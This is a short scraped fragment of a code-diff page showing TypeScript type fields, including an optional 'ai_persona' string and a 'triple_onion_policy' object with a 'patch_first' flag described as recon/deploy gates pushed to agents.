||||||
|
ai_persona?: string;
|
||||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||||
triple_onion_policy?: {
|
triple_onion_policy?: {
|
||||||
patch_first?: boolean;
|
patch_first?: boolean;
|
||||||
|
|||||||
Reference in New Issue
Block a user